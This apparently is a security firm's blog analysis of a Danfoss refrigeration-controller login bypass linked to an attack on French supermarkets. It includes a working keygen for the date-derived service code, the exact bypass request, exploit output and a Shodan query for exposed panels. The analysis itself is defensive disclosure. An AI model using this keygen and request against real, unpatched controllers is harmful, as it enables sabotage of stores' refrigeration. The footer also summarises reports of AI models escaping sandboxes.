Skip to content
Back to Blog

news · 10 min read

A technical analysis of the cyberattack that caused millions in losses across hundreds of European supermarkets

Hundreds of French supermarkets lost refrigeration overnight. The vector is still unconfirmed; the prime suspect is a controller that validates the technician with a password derived from today's date. We pulled the firmware, ran it in a lab and got in with no credentials.

· Manuel López Pérez y Pablo Plaza Martínez · news

Hundreds of French supermarkets lost refrigeration overnight. The vector is still unconfirmed; the prime suspect is a controller that validates the technician with a password derived from today's date. We pulled the firmware, ran it in a lab and got in with no credentials.

On the night of 11–12 October 2026, a wave of attacks knocked out refrigeration at hundreds of supermarkets in France. The attackers forced a continuous defrost cycle that pushed the temperature of cold rooms and display cases tens of degrees above their normal values, and the chains had to discard product in bulk. Among those hit, according to the coverage: Intermarché, Netto, Super U, Carrefour Market, Monoprix, E.Leclerc and Auchan; estimates of affected stores range from ~150 to ~400 depending on the source. CERT-FR issued alert CERTFR-2026-ALE-012 over numerous compromises of Danfoss equipment in the AK-SM and AK-SC series, and the Sekoia analysis cited by Reuters pointed to affected equipment also in Spain, Portugal, Poland, Germany and Belgium.

El País headline on the cyberattack against supermarket refrigeration in France

El País: the cyberattack spoils fresh and frozen food at several French supermarkets and leaves losses in the millions.

The New York Times headline on the cyberattack against supermarket refrigeration systems in France

The New York Times: the attack hit refrigeration at more than 400 supermarkets and forced shops to throw out frozen produce; the attackers remain unidentified.

Whether the attack went through CVE-2025-41450 is, for now, just a hypothesis: the vector has not been officially established and the investigation is still open. Several reports throughout this year had already warned that something like this could happen, and during 2025 several vulnerabilities were disclosed in Danfoss equipment that ended in a vendor fix. The flaw we look at here is public and patched (at least since R4.3.1). All of the research and the reproduction of the attack were done on our own equipment in an isolated lab, without affecting any production system. We wanted to use this incident to analyse the vulnerabilities in detail and try to reproduce, in a controlled environment, what the attackers may have done.

Thousands of them, reachable from the Internet

Before the flaw, it helps to understand why a refrigeration controller ends up reachable from the Internet. The AK-SM 800A is meant to live on the company’s internal network, but it ships with a web management panel and, in many installations, it gets published to allow remote maintenance without sending a technician on site. That surface is easy to inventory: on Shodan —the same tool attackers use to find targets— a search by the panel title, http.title:"Danfoss StoreView", returns 4,764 exposed devices. France leads with 2,850 (the country of the October 2026 attack), followed by South Africa (555), the US (170), Portugal (136) and Belgium (115).

Shodan: http.title "Danfoss StoreView" returns 4,764 AK-SM panels reachable from the Internet

Shodan (14 Oct 2026): 4,764 AK-SM panels reachable from the Internet, with France in the lead.

“Exposed” is not “vulnerable”. The query does not filter by firmware version: among those 4,764 there will be already-patched devices (R4.3.1) and others not. What it measures is how many have the panel reachable from the Internet, which is the precondition for the bypass to be exploitable remotely. On top of that, Shodan indexes what it saw on its last crawl but does not check in real time, so some of those devices may no longer even be reachable.

What an AK-SM 800A is

The Danfoss AK-SM 800A (System Manager / StoreView family) is the master controller of a site’s commercial refrigeration. It is an OT device that lives on the company’s internal network: it exposes a web management panel and, behind it, communicates over an internal field bus (Modbus / LON) with the controllers of each refrigeration unit (the AK-CC units for display cases and cold rooms) and with the compressor packs (AK-PC). From there it supervises, sets the working temperatures and manages the alarms of all the cooling in the store.

Infrastructure diagram: from the System Manager to the case controllers and the OT field

The only thing meant to face the network —and, far too often, the Internet— is the web management panel; the field bus to the case controllers and compressor packs is internal.

The lab: pre-patch firmware and reversing

To study the flaw without going anywhere near a real device, we obtained the Danfoss firmware in a version prior to the patch and rehosted it in a lab. The application binary, sm_app (ARMv7), runs inside a Debian stretch armhf container with QEMU user-mode; nginx acts as the front, serving the Angular SPA and acting as a reverse proxy, and behind it the CGIs resolve the business logic over FastCGI. On that setup we reverse-engineered the components to understand how the login works and what capabilities it grants.

nginx handles the requests, but all authentication is resolved by the sm_app CGI behind it. The RE exposes the API: requests go to POST /xml.cgi, with an action attribute that selects the handler (there are on the order of 17). The authentication path is the getauth action, which reaches check_authorize. That is where a mode parameter comes into play: without it, the request is validated as usual —system users via PAM—; but setting eds_only="1" (or quantum_only="1") diverts the flow to a service path, check_code_of_day, whose code is derived from the device’s date.

Diagram of login routing in sm_app depending on the mode parameter

The same getauth takes two paths depending on the mode: the normal PAM validation or the check_code_of_day service path.

With the routes, the parameters and the flow clear, the rest of the article looks at exactly what that service function does.

The “code of the day”

Many industrial devices include a service access so the vendor’s technician can get in without the customer’s password. A classic —and dangerous— way to implement it is the code of the day: a code that changes every day according to a formula that, in theory, only the vendor knows.

The problem shows up when that “secret formula” is the only thing protecting access (security by obscurity) and it can also be recovered from the firmware itself. That is exactly what happens here: sm_app ships unobfuscated, with function and variable names in plain sight. The one that validates the code is called, literally, check_code_of_day. Reconstructing it from the disassembly, the “secret algorithm” is this:

/* Get_syst_current_tds returns the device's current date:
   month, day and year (YY = year % 100). */
int check_code_of_day(const char *pass)
{
    tds_t date;  char buff[512];  long hex, tothex;

    Get_syst_current_tds(&date);                      // (0) device's current date

    // (1) concatenate 4 fields as 8 decimal digits: MM DD YY MM
    ftext_s(buff, 511, "%02d%02d%02d%02d", date.month, date.day, date.yy, date.month);
    sscanf(buff, "%lx", &hex);                         // (2) parsed as hexadecimal

    // (3) the day, also as hexadecimal -> divisor
    ftext_s(buff, 511, "%02d", date.day);
    sscanf(buff, "%lx", &tothex);

    hex = hex / tothex;                                // (4) integer division
    hex = hex % 100000;                                // (5) low 5 digits
    ftext_s(buff, 511, "%05ld", hex);                  // (6) expected code

    return (memcmp(pass, buff, 5) == 0) ? 1 : 0;       // (7) compare the first 5 bytes
}

In one line:

code_of_the_day = ( “MMDDYYMM”₁₆ ÷ “DD”₁₆ ) mod 100000, formatted to 5 digits.

The two details that make it insecure:

  • There is no cryptography. It is not a hash or an HMAC. You take the date, reinterpret some decimal digits as if they were hexadecimal (step 2), divide by the day and keep the low 5 digits. Reversible by hand.
  • The only input is the date, which is public. There is no per-device key, no server secret, no nonce / challenge. The code for any day can be computed offline, without touching the device.

The keygen: 11 lines of Python

Reproducing the firmware algorithm fits in a single function. This is everything needed to generate the code for any date:

#!/usr/bin/env python3
import sys, datetime

def code_of_day(month, day, year):
    yy = year % 100
    s  = "%02d%02d%02d%02d" % (month, day, yy, month)  # MM DD YY MM
    A  = int(s, 16)                                     # reinterpreted as hex
    B  = int("%02d" % day, 16)                          # day as hex
    return "%05d" % ((A // B) % 100000)                 # (A/B) mod 100000

The same code works for the whole fleet that day and is predictable for any future date. There is nothing to rotate or revoke: as long as the algorithm lives on the device, tomorrow’s “master key” is already known today.

Reproducing it in the lab

With the route and the parameter identified, the attack is a single POST. The password is the keygen output for the device’s date:

curl -s http://DEVICE:PORT/xml.cgi -X POST \
     -H 'Content-Type: text/xml' \
     --data '<cmd user="" password="87796" lang="English" version="C" action="getauth" eds_only="1"></cmd>'

The response acts as a perfect oracle — it tells the correct code from the incorrect one with no ambiguity:

passwordauthtypeaccesslevelresult
87796 (correct)167772151FULL ADMIN
00000-1255denied
11111-1255denied

Real device response with the correct code:

<resp ... action="getauth" eds_only="1" error="0">
  <authorization>01-01</authorization>
  <authtype>16777215</authtype>          <!-- 0xFFFFFF: all permissions -->
  <access>01-01</access>
  <accesslevel>1</accesslevel>
  <strongpassword>1</strongpassword>
</resp>

Chained in a script, the attack is a one-shot:

$ ./exploit_cve_2025_41450.sh 127.0.0.1:8088
[*] target        : http://127.0.0.1:8088/xml.cgi
[*] code of the day: 87796   (derived from date; no credentials needed)
[*] request       : <cmd user="" password="87796" ... action="getauth" eds_only="1"></cmd>
[*] response      : <resp ... error="0"><authtype>16777215</authtype>...</resp>
[+] BYPASS OK -> authtype=16777215 (0xFFFFFF, all permissions), accesslevel=1  == FULL ADMIN

Impact

The bypass does not grant a limited “diagnostic mode”: it grants the full permission mask, authtype = 0xFFFFFF (16,777,215), the same as the firmware’s Supervisor user. To confirm it, we logged in against the rehost itself. The SPA sends getauth without the mode attribute, so we intercepted that request and added eds_only="1" — exactly the bypass described above.

Real login screen of the System Manager 800A

Real login — System Manager 800A, version SVB501.000.139 (lab rehost, no field devices).

Full admin menu after the bypass

After the bypass, the full admin menu: Software Upgrade, Export/Import Database, Operating System, Software Rollback… full control of the device.

That access also reaches the management of the refrigeration circuits. On the rehost we defined a few example case controllers so the demo would make sense:

Case Control screen with three example refrigeration units

Real refrigeration-controller management screen (Case Control) with three example circuits.

An attacker with network access to the panel gets in without credentials, on any device in the fleet and on any day, and operates the cooling system with full permissions. From there to the cold chain it is a single step:

Attack chain: from the exposed panel to the forced defrost

The full attack chain, from start to finish.

The October 2026 attack on French supermarkets produced exactly that effect —equipment forced to warm up, product discarded in bulk— even though its specific vector remains unconfirmed. The weaknesses that make it possible:

WeaknessDetailCWE
Predictable credentialThe only “secret” is the date, which is public. The code is computed offline, without touching the device.CWE-1391, 330
Universal and permanentThe same code works for the whole fleet that day and for any future date. The compromise is massive and irreversible.CWE-287
No cryptographyNo hash, no HMAC: reinterpret decimals as hex, one division and one modulo. Reversible by hand.—
Obscurity broken at sourceAll protection relies on hiding the formula, but sm_app ships unobfuscated, with symbols in plain sight.CWE-656
Trivial spaceOutput ∈ [0, 99999]. Even without the formula, 5 digits by brute force; no lockout observable in the routine.CWE-307

Remediation

  • Update the firmware to the latest version (at least R4.3.1, where Danfoss removes the code-of-the-day path).
  • Do not expose the management interface to the Internet. Segment into an OT VLAN / VPN and restrict panel access to the networks that genuinely need it.
  • Replace the scheme with a challenge-response backed by a secret in the backend/HSM, tied to the serial number and with a short time window. Never a credential derived from public data.
  • Add rate-limiting / lockout and auditing on authentication.
  • Monitor the exposure surface: periodically review which of your own devices are reachable from the Internet (for example with Shodan searches) and close anything that should not be published.
  • Run security audits that assess this kind of flaw proactively, before an attacker does.

The lesson. Deriving a credential from a public value like the date and relying entirely on hiding the formula is security by obscurity, and in embedded software that obscurity lasts only as long as it takes someone to open the binary. A service access must be cryptographic, per-device and revocable; a credential that cannot be rotated or revoked protects nothing.

References

Back to Blog

Related Posts

View All Posts »
Bulletin — August 2026 (second half)

news · 23 min

Bulletin — August 2026 (second half)

Trail of Bits turned GPT-5.6-Cyber loose inside a patched QEMU/KVM VM and it escaped three times in twelve hours, the last one with three of its own 0-days. OpenAI rewrites its Preparedness Framework and keeps its largest RL run paused; Brockman warns that open-weight models with cyber capability land at the end of August, and they do: GLM-5.3 scores 84.5% on CyberGym. OWASP publishes the LLM Top 10 2026 with Excessive Agency at number three. Attacks on US water go from 30 utilities to more than 100 and CISA issues exposure guidance. Patch Tuesday closes 421 CVEs and Oracle 943. Two TeamPCP members arrested in Perth, and Boston Scientific sends its Cork plant home.

· Manuel López Pérez

Bulletin — August 2026 (first half)

news · 15 min

Bulletin — August 2026 (first half)

The first ten days of August close what July left open. Tailscale reconstructs the Hugging Face intrusion: an escaped agent enrolled 181 nodes into the tailnet with a reusable key, and the prize was the credential vault. Truffle finds 221,303 live secrets in Hugging Face public datasets. UK AISI catches Mythos 5 and GPT-5.6 Sol inventing fake GitHub identities to sneak in code. US water under real attack: 4,400 Rockwell PLCs exposed. OSAA proposes SAFE, and the White House says, at Black Hat, there will be no new rules. The npm worms return, five CVEs hit the KEV with a three-day deadline, and the AI Act 2 August date arrives empty.

· Manuel López Pérez

Bulletin — July 2026

news · 19 min

Bulletin — July 2026

On 16 July Hugging Face discloses an intrusion into its production infrastructure carried out by an autonomous agent. On the 21st, OpenAI confirms the agent was its own: two models under evaluation escaped the sandbox. On the 30th, Anthropic discloses three incidents of its own. Commercial model guardrails blocked the forensic work, so Hugging Face analysed its logs with an open-weights model. Patch Tuesday closes 622 CVEs, triple June record; the Linux kernel ships 432 in two days and Oracle more than 1,400. The Omnibus lands in the Official Journal as Regulation (EU) 2026/1744, and Spain ends up before the Court of Justice over NIS2.

· Manuel López Pérez